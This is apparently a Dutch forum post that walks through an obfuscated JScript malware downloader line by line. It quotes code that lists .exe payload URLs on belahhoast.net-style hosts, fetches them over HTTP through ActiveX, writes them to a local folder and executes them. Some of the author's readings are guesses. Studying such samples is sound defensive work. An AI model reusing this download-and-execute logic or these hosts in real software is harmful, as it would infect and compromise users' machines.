veel code is een beetje vaag dus ik zal mijn best doen.
t maakt een lijst aan van exe bestanden:
var s = "belahhoast.net/93.exe? belahhoastbil.com/93.exe? ? ? ?".split(" ");
(split(" ") splitst op spaties, dus je krijgt een lijst van stukjes tekst:
belahhoast.net/93.exe?
belahhoastbil.com/93.exe?
?
?
?
)
ik denk dat dit onze "payload is" dit willen we dat op t slachtoffer word uitgevoerd.
var FmI = new ActiveXObject("Scripting"/*Y0omzyfYkzG*/+".File"+/*K5XrhmR*/"SystemObject");
activeX is de scriptingtaal van internet explorer, ik denk dat men een kwetsbaarheid in active X wil gebruiken om genoemde exe bestanden uit te voeren.
FmI.CreateFolder(CXbi);
maakt een map aan op je systeem om alles in te downloaden.
for (var U=JgS; U<s.length; U++) {
dit betekent simplelweg, herhaal alles wat tussen {} staat voor iedere link die in s staat (zie bovenste commando) s is de lijst met exe bestanden die we willen downloaden.
op welk nummer we in de lijst zitten word opgeslagen in U.
dan volgt er een try-blok want het kan zijn dat de server offline is of degene die dit script uitvoert geen internet heeft, in dat geval falen de volgende commando's
poi = "GET";
dit betekent dat we aangeven dat we alleen maar iets willen downloaden, als je bijvoorbeeld registreert op een forum of je wilt inloggen dan stuur je data mee dat is een POST, een GET-request zegt dat we alleen maar iets van de server willen hebben, een normaal downloadcommando dus.
Li.open(poi,"http://"+s[U]+l, false);
maak een GET-request aan.
Li.send();
verzend het naar de server
if (Li.status == 805-605) {
als dat goed is gegaan
rhI.open(); rhI.type = 1;
open de "response" (data wat van de server terug komt)
rhI.write(Li.responseBody);
en schrijf die data naar een file.
if (((new Date())>0,7834421888)) {
als de huidige datum groter is dan 0,7834421888 (neem aan dat dit een unix timestamp is)
hfbuQIoMO(CXbi+dQXkHFN+/*t2Bx68escm*/".exe"/*r4uD920QQB*/);
gebeurt dit. ik moet er wel bij vertellen dat alles tussen /* en */ commentaar is en de rest zijn variablenamen. ik denk dat hier de daadwerkelijke naam van de .exe via verschillende base64stukjes in die vars bovenaan aan elkaar geplakt worden en weer gedecodeerd worden om zo het voorheen gedownloade bestand uit te voeren.
de catches eronder zijn error-afhandeling voor het geval er iets misgaat tijdens het proces. ze doen niets, alleen ervoor zorgen dat je browser niet crasht. (verbaast me dat een hacker daaraan denkt!!)
je ziet wel dat degene die t script geschreven heeft heel veel base64 gebruikt om de zooi te verdoezelen en te proberen het ons moeilijk te maken het te lezen.
verder staat er veel stuk tussen commentaar, dat commentaar lijkt ook op base64 maar ik krijg t niet gedecodeerd...